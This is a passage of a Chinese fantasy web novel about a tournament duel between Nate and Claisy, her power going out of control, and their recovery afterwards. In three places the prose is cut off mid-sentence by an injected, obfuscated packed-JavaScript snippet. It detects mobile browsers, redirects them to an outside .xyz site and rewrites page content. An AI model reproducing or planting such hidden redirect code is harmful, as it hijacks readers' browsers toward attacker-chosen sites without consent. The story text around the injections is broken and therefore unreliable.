扎克那边则比较倒霉了。他在第六场遇到了爱达荷家的女儿,克莱希·爱达荷。当时扎克正因连胜而飘飘然,甚至对克莱希口出狂言,建议对方直接下台认输,自己不想把女孩打哭。 据说,扎克被克莱希一剑打退,两剑掀翻在地,三剑踢出擂台。 “那女人力气大得像头熊!” 晚宴上,扎克凄惨兮兮地向内特诉苦,“你不知道她多凶!跟男人似地穿着那么重的铠甲,还拿着两把剑!我差点被她扎成刺猬。” “行行,刺猬先生,皮尔斯主教说让你少吃点,大鱼大肉对伤口愈合有害无利。” 扎克正坐在一把长椅上,右腿搭在高脚凳上,他的腿在从擂台上掉下去时摔断了,皮尔斯主教要求他在家静养。但是扎克当天晚上就出院了,让内特扶着来参加宴会,此刻正拿着鸡腿往嘴里塞。 “我倒是希望在床上多躺几天,我爸妈就不用再叫我起来锻炼。” “扎克,内特。” 克莱希走过来,她浅金色的头发扎在脑后,系一条淡蓝色丝带,她没有穿礼裙,而是穿一身米白色地近卫军军装,腰间配两把西洋剑。 她看向扎克的腿:“你的伤如何?” 扎克立刻做出毫发无伤的样子,“小伤!好得很!马上就能下地走路!”他说着就要站起来,内特立刻把他摁住。 “你没受伤?”内特瞅了克莱希一眼。克莱希耸耸肩, “小伤。不会影响明天的决斗。” 她看向内特,微微一笑。 “我刚见过翼龙军团长科尔。听说你对当翼龙飞行士很感兴趣?” 内特确实很想有条翼龙,但是不知道海森将军会不会同意,于是说:“我还不确定呢。” “我还没见过你全力战斗的样子。”克莱希说,“我很期待明天和你的对决。” “我哥们可是很厉害的!”扎克在底下叫道,“内特,把这个女人揍扁!别让她把咱哥俩小瞧了!” 内特低头看了一眼克莱希腰间的配剑,问道:“你有和剑相关的纹章能力吧?” 克莱希答非所问:“只是从小练习剑术罢了。” 一只手就在这时揽住内特的肩膀,内特回过头,看见科尔正笑吟吟地靠着自己,他棕色的卷发在灯光下亮闪闪地,穿金红色礼服,还有几个翼龙军团的人在他身后朝内特举起酒杯致敬。 “内特!你现在可是夺冠的热门啊!大家都很看好你明天的表现。”科尔吐着酒气说,顺手朝克莱希挥了一下杯子,又看向内特:“大家都在夸你,真是虎父无犬子。” “是吗?爸爸也提到我了?” “不是,只是我们在开盘……”科尔大着舌头说,“加油啊,内特!我押了你!” 他凑到他耳边,悄悄说了一句:“如果你成为冠军,我还有个礼物要送给你。” 内特颇为吃惊的抬起头,科尔朝他挤了一下眼睛,送开手,重又回到翼龙军团的人当中。扎克扶着桌子一瘸一拐的蹦过去:“等等啊!你们在哪里开盘?我也要下注——” 内特无奈的朝被冷落在一边的克莱希笑了一下,“他们就是趋炎附势,你别介意。” 克莱希耸耸肩,“没关系,我早就知道他们对女性的态度了,更何况爸爸不在议会以后。”她转身离开,“做个好儿子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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涅西丝哼了一声,看都不看内特一眼,撩了一下头发,转身就朝大厅外走去。她仍然漂浮在空中,这次内特可以看见她裙下伸出的白色细长龙尾,正飘逸的晃动着。 科尔吐了一口气,“趾高气昂的龙族。”他把杯子的碎渣扔到地上,显然失去了继续参加宴会的兴致,“这种东西就该从世上灭绝,你父亲肯定也会支持这个观点的,对吧,内特?” 内特不置可否地嗯了一声,他有些好奇的看向涅西丝离去的方向,看见她一路悠悠飘向圣山学院的钟楼。内特找了个无人的角落,发动空间纹章,也把自己传送到了钟楼楼顶。 涅西丝正单手扶着钟楼的墙壁,双脚悬空,俯视着下城区。她对内特的出现并不吃惊,只是瞥了他一眼,不高兴地问:“和事佬,你跟过来干嘛?” “就是好奇。想和你聊聊。” “我不想和你聊。” “我叫内特,你或许知道我爸爸,赖兹瑙·梅菲杰拉德,财政大臣。” “我不关心。” 内特还是第一次听见这种话。他扶着墙壁,试着往涅西丝的方向走近几步: “你为什么要支持庞贝?人类把龙族从霸主的地位上赶走,我以为你会和我们对立——” 涅西丝松开手,她漂浮起来,飞到内特的面前。内特可以看见她蓝白色的头发在月光下透明的发白,鳞片从她的耳后、脸下的皮肤中长出来,覆上她纤细苍白的手臂和腿脚。她白发下的眼睛像洁净的宝石。 “我是庞贝从龙蛋中孵出来的,世界上独一无二的白龙。龙族和人类的争斗与我无关。” 她的身躯在空中旋转起来,她的形体改变,骨骼变得坚硬突出,巨大的白色双翼从她的后背生长出来。小白龙全身覆盖着冰白色鳞片,在月光下像镶嵌着成千上万颗小巧晶莹的钻石,从龙角连同尾巴都是闪耀的纯白色。小白龙身体并不大,仅有四五米长,双翼扇动,掀起一阵寒冷的风。 “我只喜欢,闪耀的、独一无二的东西。等你拿了冠军再和我对话吧,大臣儿子。”涅西丝说。白龙振翅翱翔,霎时之间,便已随风飞去百里,溶溶的月光下,已如星星一般,在太古的黑夜中闪烁着。 24. 24-盾与剑 “赖兹瑙大臣,”年轻的新皇庞贝问道,“今天的决斗谁会获胜呢?” 红发的宰相回过神来。 “内特吧?” “因为他是您的儿子吗?” “不。再怎么说,败给一个女人也太丢脸了。” 火炬旺盛的燃烧着。内特踏上竞技场时,夏日的太阳刚刚从朝雾中升起,空气十分凉爽。广场外,来观赛的平民已经比平时翻了几倍,人们把竞技场外的每棵桦树、花坛,甚至最外层的围栏旁都挤个水泄不通,若不是有近卫军拦着,许多人已经涌进学院了。 当内特·梅菲杰拉德从竞技场的一侧出现时,人群便爆发出热烈的欢呼声。大臣之子高挑俊美,身材矫健轻盈。他穿着浅白色的战斗服,银色长发扎低,戴白色袖套。与众人意想不同的是,内特没拿任何攻击性武器,只从武器库里挑了一面巨大厚重的木盾。 “不带把攻击性的武器吗,公子?”侍卫问道。 内特犹豫了一下,还是摇摇头。他并不是没有使用武器战斗的经验,事实上,内特的短刀、匕首、单手剑都用得相当好。但是,他瞥了眼那些武器池里金属做的武器,其中不乏做工精良的锋锐刀斧,在平常的战斗中,想必能锦上添花。但是,如果要使用那些刀剑和克莱希战斗,内特却从心中感觉到一丝不安。 克莱希·爱达荷,前近卫军总管,邓肯·爱达荷之女。内特和克莱希曾多次在宴会与长辈拜访时相遇,两人也都是圣山学院的学生,内特是她的学长。但是在战斗方面,内特从未与她交过手。克莱希的年纪比他小三岁,刚过二十,身材比他纤细不少。 克莱希是少见的选择参加战斗的贵族之女,寡言、少语、有军人之风。 此外,从前几天的观战来看,同自己一样,克莱希完全没有用全力。她展现出精湛的剑术和身体素质,那一招一式的力量不是朝夕能得到的,想必从小就开始接受训练。内特喜欢与人切磋,享受挑战的乐趣,但是从安静的克莱希身上,内特却感觉到某种危险的疯狂。 克莱希从另一侧踏上竞技场。相比于内特,她的欢呼声就小多了。克莱希的胸前、双臂和小腿都穿戴着铁制的金属盔甲,腰间仍挂着两把西洋长剑。她浅金色的头发扎在脑后,蓝色的发带随风飘扬,干净素洁,一双碧瞳清澈灵动。 “内特。”克莱希微笑着说,看了一眼他拿的盾,“我以为你会选一些更有威胁的武器。” “没办法,我喜欢轻装上阵。”内特答道,瞅了一眼克莱希身上的武装,“佩戴太多金属铠甲很快就会压得你喘不过气,克莱希。难道你担心我会拿盾刺伤你吗?” “呵呵,我喜欢你的笑话,内特。”克莱希拨弄了一下手上的护甲,眯起眼睛。“其实我觉得还不够,但他们无论如何不让我继续加盔甲了,说对你不公平。” 她拔出一把西洋剑,握在右手中,后退半步,敲了一下左肩。“克莱希·爱达荷,近卫军少尉,请多指教!” 内特后撤半步,举起盾,做出防守架势。 “内特·梅菲杰拉德。”内特说,“这场战斗不会轻易结束,对吗?” 克莱希不言语,几个呼吸之间,已经一剑刺来。其疾如风,如燕隼凌空,内特举盾格挡,短兵相接,发出一声钝响,内特后撤几步,感觉克莱希挥剑的力气大得惊人,左臂隔着木盾,还能被长剑砍得发麻。 克莱希第一剑被挡,却并没有松劲,立刻跟着连续向前挺进,连续戳刺几次。内特架盾连连后撤,同时观察克莱希的动作,只见她虽穿着极其沉重的铠甲,每次挥剑却气息悠长,行云流水,彷佛那几十斤重的金属在身上轻若无物。 竞技场的规则很简单,将对手击晕、杀死或者推下竞技场的擂台就算胜利。内特并不想和克莱希打的头破血流,他也不急着攻击,只是始终保持着离边界安全的距离游走,观察克莱希的战斗方式。克莱希进攻的速度很快,转瞬之间,他已经挡下克莱希的十余次挥砍,手中那面木盾虽然纹丝不动,但其上的浅灰色痕迹也越发密集起来。 内特反常的感觉到,短时间内砍了这么多次,即使是男性也该感到疲惫。但是克莱希的动作却毫不走型,每一次发力都几乎完全相同。 正思考着,克莱希速度骤然加快,她轻呵一声,已经弹跳起来,如燕般跃起,左手的长剑也同时出鞘。克莱希双剑下刺,内特把盾横在空中格挡,只感觉一股巨大的力量从盾的外侧传来。内特咬紧牙,不再玩闹,也同时发力,左手举着盾顶向半空。 克莱希以盾做跳板,反身跳起,倒卷身躯的同时将双剑掷出。内特侧过头,一剑已经贴着他的脸颊划过,几缕银发被斩断在空中;第二剑被内特用盾牌挡开,双剑脱手,内特立刻看到机会:趁克莱希落地、调整身位之前,他立刻冲向克莱希,要一瞬间将她砸晕。 克莱希刚刚落地,内特已经冲至她的身前,她身上再无威胁之力,内特巨盾下砸,就要结束这场战斗。 霎那之间,一阵极危险的感觉袭来,内特举盾的手已挥出无法收回,他的后颈却感觉一股极强极快的劲风,彷佛什么如针般的东西刺向他。 彷佛全场寂静下来,接着,是巨大的、刺耳的嗡鸣声。内特慢慢回过头去,看见那两把刚刚被甩飞的金属西洋剑,正悬在半空中,紧紧压在自己颈后,离颈椎仅有几公分的距离。幸好空间屏障已经构建起来,此刻正如涟漪般在铁剑的端头下颤抖着,划出一层层波纹。 “爱达荷家的能力也太强了吧!”庞贝吃惊地说道,“要是我也有她的纹章能力就好了!” 赖兹瑙漫不经心地说:“陛下,我告诉过您,纹章的能力各有千秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502513|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,除了极少数的克制关系,没有绝对的强弱之分。您的能力也很了不起,您没必要在乎别人的纹章。” “我知道,只是没办法像您那样冷静——您不担心您的儿子吗?那女人差点把他的脑袋砍下来。” 赖兹瑙扫了台下一眼,又收回目光。 “没事,他的脑袋还好端端的摆在脖子上呢。” “可我还是好奇嘛!”庞贝说,“如果我是她的对手,我怎么才能战胜她呢?” “呵呵,”宰相笑着把食指搭在下巴上,靠进椅子里。“别着急,陛下……” “我听说,在一些地方,人们管操纵器物的能力叫做傀儡术。”听到皇帝的发言,坐在后面的皮尔斯主教开口道,看了一眼旁边以傀儡术著称的大学士,恩美尔·沙缪议员。“爱达荷家也有傀儡术的属性吗?” 沙缪面无表情、死气沉沉地开口:“爱达荷之女的能力在梅菲杰拉德公子之上。公子缺乏进攻手段,再比下去,很快他的防御也会土崩瓦解。” “我相信内特会赢的!”小拉赫说,攥着旁边威廉姆斯议员的手腕,“说,内特会赢的!” “内特会赢的……”巴萨·威廉姆斯容貌枯槁,“大将军,竞技场结束后就会派兵去整顿海妖,对吧?” 大将军威斯汀·海森堡没有回答。他正居高临下的看着竞技台。在克莱希面前,一个黑铁融铸成的漆黑弯月正在她手中逐渐形成。其状极美、极柔软,却又怪异,锋锐,危险。 “不是御物。”海森堡说,“是金属。” 克莱希慢慢站起身,那两把剑原本悬在空中,逼近内特的后颈,此刻却如与她心意相通一般,不再攻击内特,重新飞回到她的身边,如两支忠心的卫士,环绕着她快速旋转着。克莱希仰起双手,奇异的一幕发生了:她身上金属的胸甲、臂套和护膝彷佛融化一般,开始变得柔软扭曲,盔甲化为流动的黑色金属液体从她身上流下来,再重新凝聚到面前。那些金属同她周身环绕的双剑一起,在克莱希手中旋转、变形、再重新融铸,瞬息之后,已化为一道旋转着的巨大黑色金属镰刀,刀刃弯曲如锋利的月弧。 “你早就知道我的能力,”克莱希说,“所以你才选择了这面木盾?” 内特摇摇头,他警觉地盯着克莱希面前旋转的越来越快、越来越细长锋利的黑色圆环,它看起来是那么柔软无害,可内特知道,它仍是坚硬的铁。 “我也只是猜测。”内特说,“你的剑柄没有护套。一般铁匠会为了方便持剑者持剑,在外面裹上皮革,直接握着铁剑柄也太奇怪了……我想,你一定有与铁有关的能力……” 话音未落,那黑色的金属镰刀已呼啸着向内特砍去,带着破风之音,在那沉重锋锐的巨镰之下,所有躲避的空间都被封死。克莱希神情淡漠,要将内特拦腰斩断。 25. 25-精神暴走 克莱希张开双臂,那黑铁铸成的弯月镰刀旋转着、快速的切向内特,十几米的竞技场空间,竟在这武器的威胁下显得如此狭小。内特掷出木盾,呼吸之间,那面厚重的橡木盾已经如黄油般让克莱希分成两半。 内特不敢打赌让自己的空间屏障继续去迎接那过于不祥的黑镰,索性深呼吸一口气,闭上眼睛。眼看着那镰刀离自己越来越近,内特将自己的意识变沉,银色的花纹霎时附上他的全身,让他如月般闪耀着。黑镰一闪,已经穿过内特的身躯的空间,出现在内特身后,内特周身的空间如水的波纹般颤动起来,空间看起来像一个个透明奇异的格子,那黑链再次转向内特时,镰刀全身都出现错位般的花纹,好像在几米的区域里,光线的折射都改变了。克莱希双手握拳,那把刀却无论如何砍不中内特的身体,明明他就站在眼前,他身边的空间却快速的改变着,让克莱希的进攻也总是落空。 “原来如此,你是罕见的空间纹章。”克莱希说,“你的能力范围是三米吗?在那片空间里,你可以将每部分空间嫁接到不同的位置,让我的攻击落空……” 内特面上神情沉稳平静,实际上手心里已都是汗,高强度的使用能力让他的脑袋隐隐作痛,空间的掌握依赖于精神力量,他不得不将精神专注到极致,才能让这把要命的刀不会一不留神砍到自己。 克莱希若有所思,突然,她不再进攻,而是抽回黑镰,让镰刀在自己身边快速旋转着。内特心中警铃大作,她露出这种表情,一定是想到了什么新的策略。只见克莱希双手举到胸前,做顺时针旋转,而那镰刀也重新被融成黑色的液体,随后被克莱希分成四份更轻薄修长、又闪着片片寒光的金属刀片,再重新凝固。克莱希右手一挥,四片金属已从四个角度飞向内特,内特身边的空间再次旋转起来,只见刀光剑影,金属相互交错,发出极刺耳的声音。 四枚武器投向自己,内特让空间操纵起来就变得吃力了,他每一次将射向自己的刀子转移到另一个位置,就又有另一片扎向自己;即使自己将四片金属刀接转移到射向竞技场外的方向,克莱希也立刻能将它们呼唤回来。此外,克莱希身边始终高速环绕着一把铁剑,每一次内特试图将攻击转移到她身上,都会被那把铁剑弹开。 锋锐的金属划出破风之音,如四只高速飞行的蜂鸟,夺命之喙几乎让人心惊肉跳。 由于要分心转移这些砍向自己的武器,内特的空间屏障便变得薄弱了,突然,内特感觉肩膀一痛,其中一枚金属刀转移不及时,已经穿过了自己的左肩,带着血扎进自己背后的地面。 时间只过了几分钟,可是每一秒在内特眼里都是如此漫长,很快,他身上的伤口越来越多,而驾驭空间的能力也愈发力不从心。真是过分啊,克莱希,想要战胜她,似乎不是那么容易做到…… 克莱希歪歪头。 “还要继续吗,公子?我会把你扎成筛子哦。” 内特捂着受伤的肩膀,捋了一把散下的头发,把脸上的银发别到脑后。 “精湛的纹章能力,克莱希。”内特说,“为什么要做到这种程度?” “为什么?诞生了这种能力,努力变强不是理所应当吗?”克莱希再一次发动能力,将竞技场上的所有金属重铸,原本环绕着她旋转、做护卫功能的两把金属剑也一并飞到她身后,六把黑色的长枪从空中显现,它们缓缓旋转着,杀气四溢,枪身寒光闪烁,在太阳下冰冷刺目。 “小心了,公子——刀剑无眼!” 克莱希喝叱一声,六把黑色的长枪呼啸着刺向内特,这一次攻击非比寻常,六把枪气势如虹,其身坚硬如铁,力若千钧,带着排山倒海的气势,誓要在这一击分出胜负。 内特表情不动不摇,任由克莱希六把枪冲向自己,呼啸如风,这一刻任何人想要干预都不可能了。 庞贝瞪大了眼睛,而小拉赫几乎尖叫出声。那六把枪穿过了内特的身躯,可是并没有血液流出来。只听清脆的咔擦一声,内特所在的空间片片龟裂,如破碎的镜子,原来内特改变了空间的结构,让它们变得如同镜面,克莱希刚才打到的只是内特的镜像。 一只手从克莱希身后的空间身出,已经搭到克莱希的肩上。 “并不是三米,而是任何地方、任何角落,都能发动的能力。”内特说,“多亏你将身边的护卫剑一并投出,我才能碰到你。” 克莱希看见自己的身体从与内特接触的位置蔓延出无数根银色的线条,如蛛网般缠住自己,此刻再想挣脱已经回天乏术,内特打了个响指,克莱希的身体已经如水晶般分解破碎,银光闪烁,下一刻,已经被传送到竞技场外。 “抱歉啦,克莱希。我实在没有别的击败你的策略了。”内特张开双臂,浅浅行了一礼,“按照规则,掉出竞技场的算输,所以是我赢啦。” 不等克莱希搭话,内特就自顾自的站起身,转身走向庞贝所在的礼台。竞技场外的众人自然议论纷纷,明明克莱希占据上风,怎么突然就被莫名其妙的扔出竞技场了?所有人正看着厮杀到兴头上,却这么不清不楚地结束了,作弊!人们大声叫道,更有甚者,朝竞技场扔手中的杂物,“不公平!” 人们叫道,“作弊!” “干嘛啊!”内特恼怒地转过身,“我赢了,这就是规则——” 内特的声音戛然而止,只见台下的人群突然发出尖叫,只见四条极细长、极锋利的,触须般的线状物从人群后面伸出来,细长的触须如风般飘动,前面的几个人立刻被拦腰砍成两截。血肉横飞,肢块散落,内特根本来不及闪避,两条金属触须已经扎进他的大腿和小腹。每一根金属须都满是倒刺,像锋锐的黑铁荆棘,精密程度和杀伤力比刚才远高一个量级,内特惨叫一声,痛得几乎昏迷过去。 克莱希用金属支撑着,从人群中飘起来。她金色的头发披散着,眼睛赤红,如同疯狂的恶鬼。 克莱希右手一指,剩下两根触须又飞向他,仿佛有生命力般,尖端张牙舞爪,极细的金属丝要把他的心脏扯烂。 为什么!为什么大将军还不叫停?爸爸呢,他们难道就这么看着? 内特眼睁睁地看着那两根伸向自己的触须,感觉心跳都要停了。他想要看向看台,又来不及;他想要 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内特右手握拳,他连敲了克莱希的金属触须三下,然后空间重新如常流动起来。所有的一切恢复原样,那坚硬、流畅又锋利的金属却霎时停住,无论使用者怎样控制,那金属刀片都前进不了分毫。金属触须颤抖起来,一阵由弱变强的蜂鸣声从金属的内部传来,那声音骤然变得刺耳,下一刻,四条十几米长的银色触须炸开,化成漫天碎屑,那不可一世的金属四分五裂,克莱希尖叫一声,跌倒在地上。 已经有侍卫赶了过来,几个人开始给内特紧急包扎,另外几个人则按住克莱希。她垂着头,已经昏迷不醒,血从她的眼皮流下来。 内特想要开口说什么,可是他的脑袋如炸裂般疼痛,耳朵蜂鸣不停,他闭上眼睛,眼前仍是大片大片血红的黑。 特里同中将已经离开礼台,匆匆处理混乱的现场了,竞技场外的人群正尖叫着往外涌出,平民或受伤、或大哭不止。 另外还有人要凑过去看克莱希或内特的伤势,特里同不得不一边疏散,边让人把伤员送往圣山教堂。 礼台上,庞贝惊魂未定的松了口气,复又兴奋起来:“刚刚是怎么回事?我还以为那女生会认输呢——但是她最后的进攻,然后突然就失败了——真是太有意思了!是不是,大臣?” 威斯汀·海森堡无视了皇帝兴奋的喋喋不休,他盯着赖兹瑙,语意冰冷至极的说:“赖兹瑙,你太放肆了——你故意让陛下身处险境。如果刚才克莱希的攻击对象是陛下,现在你我都要被问责。” “你觉得是我让克莱希变成这样的吗?”赖兹瑙问,“相反,是我救了他们。现在才皆大欢喜。” “皆大欢喜?”海森堡扭过头,看见内特已经被抬到担架上,他已经昏了过去,血不断从他的鼻腔、眼睛和耳朵中流出来,他的腹腔和大腿被简单的包扎了,但是仍染着大片大片的殷红。 内特…… “你儿子有可能会瞎,他也可能会死。你明明有更稳妥的方法。” “但是他没有。”赖兹瑙说,“他真是个好儿子。” 26. 26-幻燈 当大主教皮尔斯走进病房时,内特正又一次头痛发作,这已经是这星期的第三次了。每个人在纹章能力暴走之后,都会因为副作用而陷入一段时间的疯狂,但是内特·梅菲杰拉德的症状是皮尔斯经手过的所有病人中最严重的。青年脸色苍白,浑身是汗,嘴唇因为缺水而干裂,他受伤的肌肉时不时就会痉挛,导致那些封好线的伤口又裂开。 看到皮尔斯主教,内特挣扎着要坐起来,被皮尔斯按住。 “您需要休息,公子。”皮尔斯说,端了一杯温水给他。青年手指颤抖着,他几次想从皮尔斯手中拿到杯子,但是都仿佛视线受损般,每每拿空。皮尔斯把水杯塞进青年手里,内特才终于握住,他很快把杯子凑到嘴边喝了一口。 皮尔斯搬了一把椅子坐到他身边,摸了摸他的额头。青年的皮肤高热,显然体温一直没降下来。 内特努力把水咽下去,漂亮的眉毛皱着,彷佛这个动作就让他感到痛苦。皮尔斯的手指掀了一下他的眼皮,看见青年眼球充血,浅金色的眼睛黯淡至极。 “看东西还是重影?” 内特虚弱的点点头。他睁开有些浮肿的眼皮,哑着嗓子问道:“什么时候才能好,皮尔斯?” 皮尔斯主教沉默了一下,“你会康复的。”他说,“你只是需要休息。” “我一直在休息!”内特略微提高声音,又咳嗽起来,他的脸痛苦地皱成一团,“我总是头晕,感觉天旋地转,躺在床上也睡不着——然后再惊醒,喘不上气——”内特的声音低下去,他绝望的躺进枕头里,“伤口一直很疼。痛死了——我会不会再也好不了啊,皮尔斯?” “不会的,公子。”皮尔斯说,“伤口都处理干净了。只要您安心静养,伤口很快就会愈合的。” “我没办法!”内特哑着嗓子叫起来,他想抬起手把额头的碎发撂下去,但是手臂稍微一动,肩膀被割裂的肌肉就传来剧痛。内特急促地喘息起来,“每次肌肉痉挛的时候,我都会痛醒,我又控制不了。皮尔斯。你有没有让我……不那么痛的药……” “我有甘草、蜂蜜,公子。这些药材每天您睡觉前都会服用。” “不是那些,”内特把头扭过来,睁开红肿的眼睛,看着皮尔斯:“那些——效果更好的。吃下去后,就什么都感觉不到了——你知道我说的是什么。” 皮尔斯沉默了一下。他的手伸进白金色的主教服里,摸索着什么。他看着桌上的水杯,剩下的半杯温水还在里面晃荡着。实话实说,他有些同情内特了,一个人在这间病房里躺了这么多天,没有任何人来看他,而他面对痛苦的表现比很多公子哥好多了。但他毕竟是宰相的儿子,他不能逾矩。 没人会违背赖兹瑙的决定,那个总是微笑的、谜一样的男人——但是,如果能从他的儿子身上了解到他的父亲,哪怕只是能力的一角—— 皮尔斯的动作停住了。拐杖拄在地板上的声音由远及近,财政大臣、外交首席,王国之眼——赖兹瑙·梅菲杰拉德走进了病房。 皮尔斯的手放下去,他起身,朝赖兹瑙鞠了一躬。 内特有些吃惊的说:“爸、爸爸?您怎么来了?” “我来看看我儿子。”赖兹瑙微笑着说,他看见内特身上缠着的绷带,屋里光线很暗,到处弥漫着伤口和草药的气味。赖兹瑙皱了皱眉头,他走到窗前,把百叶窗打开。 “他该多开窗,晒晒太阳。”赖兹瑙对主教嘱咐道,“内特,你恢复的怎么样?” “还是很痛,爸爸。”内特说,“伤口一直在流血,而且头晕,我走路都会摔倒……” “嗯,没事。”赖兹瑙说,撩开内特额前银色的碎发。他看了一眼皮尔斯,主教立刻知趣地站起身,从屋里走出去了。等皮尔斯离开,赖兹瑙才坐到椅子上,将拐杖支到一边。 “你会这么头痛,是因为你强行精神暴走了,发挥了不属于你的实力。” “精神暴走?怎么会?我都不知道……” “是我做的。”赖兹瑙双手支在下巴上,“克莱希先一步陷入精神暴走。我看见你命悬一线,但是与其我们出手,爸爸相信你能凭自己的力量战胜克莱希。所以我小小的‘推''了你一下。最后的时刻,你是不是觉得一切都变慢了?” “是啊,”内特说,“原来是您做的!我还纳闷我的空间能力怎么突然变强了那么多呢。” 赖兹瑙微笑起来。 “会的。你继承了你母亲的纹章能力,总有一天,你的能力会比任何人都强大。”赖兹瑙说,“但是精神暴走的后遗症很大。你会怪爸爸吗?” 内特摇摇头。因为眼睛充血,他还是看不清父亲的脸。但是他努力说道: “怎么会?您对我这么好,我永远不会怪您的。”内特说,突然吞吞吐吐起来,“您提到了妈妈。爸爸,她是怎样的人?” 赖兹瑙没有回答。他掏出怀表,看了一下时间:“下次吧,内特。爸爸还有很多事要做。” 看着内特沮丧的神情,彷佛心软般,赖兹瑙说:“不过,你总归是拿了冠军,得到奖励也是应该的。”他站起身,内特感觉到父亲的手覆在自己脸上。爸爸的手很冷,他的声音像从另一个世界传来。 “做个好梦吧。” 于是,内特的世界颠倒了。昼与夜,光与影,风从百叶窗外吹进来,那风吹在身上却变成温柔的光,白色的纱窗和墙壁消失了,连带着所有痛苦和窒息,柔软的花草从他身下慢慢生长,葡萄架缠绕着紫藤花破土而出,映照着清澈的天空和洁白的云彩。 他不再躺在病房里,而是躺在一望无际的薰衣草甸上,宁静、悠远,蒲公英随风摇晃着。这是梦吗?还是曾经的记忆?恍惚间,内特突然感觉到一只轻柔温暖的手搭上自己的额头,她玉般的手指穿过自己的头发,她的手掌遮住他的眼睛。透过指缝,他看见微风吹起她银色的头发,那么纤长、蜷曲、闪亮,像天上的星星。 “内特。”她柔软清亮的声音说,“如果我们有孩子,叫他内特怎么样?” ·· 皮尔斯主教整齐衣冠,推门而出,就看见一个有些婴儿肥的褐发青年正拿着花,犹犹豫豫地站在门外。 “扎克?”主教惊讶地问,“你怎么在这?不进去?” “这不是人家父亲也在里面嘛!”扎克说,“我等他们说完话再进去。” 皮尔斯往门里瞥了一眼,“那你得等很久吧。而且再过半个小时,病人就要睡觉了。” “哦……”扎克苦着脸,他犹豫了一下,深吸一口气,敲了敲门。 “克莱希!”扎克嚷嚷着说,“你恢复的怎么样?我来看你了!” 听见扎克的声音,克莱希颇为吃惊地抬起头。她靠着枕头,散着及肩的金色头发,穿一件淡蓝色的睡衣。那件衣服有些太大了,衬得她骨架更为纤细苍白。克莱希旁边坐着前议员、前近卫军团长,邓肯·爱达荷先生。 邓肯·爱达荷虽然曾经是中将,但是现在已经贬为平民,而扎克·特里同作为中将之子,他的贵族身份其实高于克莱希的父亲。但是爱达荷气势逼人,扎克立刻感觉自己矮了对方一头,说话也恭敬起来。 看见扎克,爱达荷站起身。"你是谁?“ "叔叔好,我是扎克,扎克·特里同,克莱希的朋友,”扎克说,举起手里的花,“听说最近她快康复了,我来看看。” “你看完了,她很好。你走吧。” “呃……” “爸爸!”克莱希在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502515|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱达荷身后说,一边把父亲推开,一边让扎克坐下。“您不要欺负我朋友!他之前在竞技场和我切磋过,您忘啦?” “一招就输给你的人我可记不住。”邓肯不假辞色地说。 “其实我坚持了三招呢。”扎克咕哝道,把手里的一大把金灿灿的菊花递到克莱希面前。“送你!祝你早日康复!” 克莱希花粉过敏,打了个喷嚏。 “这花我拿走吧。”邓肯说,边说边把花拿了出去。 扎克尴尬地坐下来,他望着克莱希道:“你真厉害!同龄人中,从没加过你那么好的剑技和纹章能力。” “还差得远呢,”克莱希礼貌的说,“我能力不到家,竟然纹章失控,差点闯下大祸。内特才是临危不乱,真的了不起。” “他如果不是作弊,你怎么会出局?我看,你才该是冠军呢。” “他只是合理的利用能力。”克莱希说,”在真正的战斗上,唯一的目标就是把敌人杀死,没有作弊不作弊一说。” “好吧,好吧,我没有你们那么强的能力,只要你自己不觉得委屈就行。”扎克说, “还有一件事,竞技赛结束了,过几天就是陛下的庆功晚宴。你有舞伴了吗?” “庆功宴?我们的陛下真是喜欢宴会。”克莱希说,“我还没有舞伴。” 听到这个消息,扎克立刻兴奋的坐直身体。 “那我可以邀请你吗?” “恐怕不行,扎克。”克莱希说,“我——” “如果你担心舞会当天身体恢复不了的话,我们不跳舞也可以!”扎克急急忙忙的解释,“我还可以安排马车……” “不是这个原因,扎克。”克莱希摇摇头,“我没法跟你去舞会。我要离开了。” “离开?” 扎克愣了一下。 “是的。我要从近卫军转为列兵,此后就不在亚斯提都了,大将军已经同意了我的申请。刚刚我就是在和爸爸提这件事。” “为什么?你不是在近卫军做的好好的吗?” 克莱希用手摸了摸额头。 “这件事很复杂,扎克。自从爸爸辞职以后,我就一直很累。”她说,“即使没有人当面指责你甚麽,你也会感觉做事处处不顺。” “我不明白。”扎克讷讷地说,“你又没做错任事……” “我没做错吗?作为女性却拿起剑,你不会觉得怪异吗?” “我没觉得,我只觉得你酷得不得了。” 克莱希笑了一下。 “谢谢你。但是很多人并不是这么想。”克莱希说,“尤其是这件事发生以后。对我来说,当个默默无闻的列兵反而比呆在首都更轻松。” “那你会去哪里?” “我不知道。军队往哪走我就跟着走。” “那,那不是会很辛苦吗?” “或许吧。” 扎克的嘴张到一半,又不知所措的合上。在他出生以来,他从不知道那些财富和拥抱不是理所应当的,他从来众星捧月,应有尽有,不知道这世上很多事从出生起就不公平。他不知道,仅仅是作为男性诞生,就已经获得了很多无数人没有的东西。 克莱希表情沉静,碧瞳如水,金发柔顺。她微笑着对扎克说: ”谢谢你来看我。谢谢你的花。” 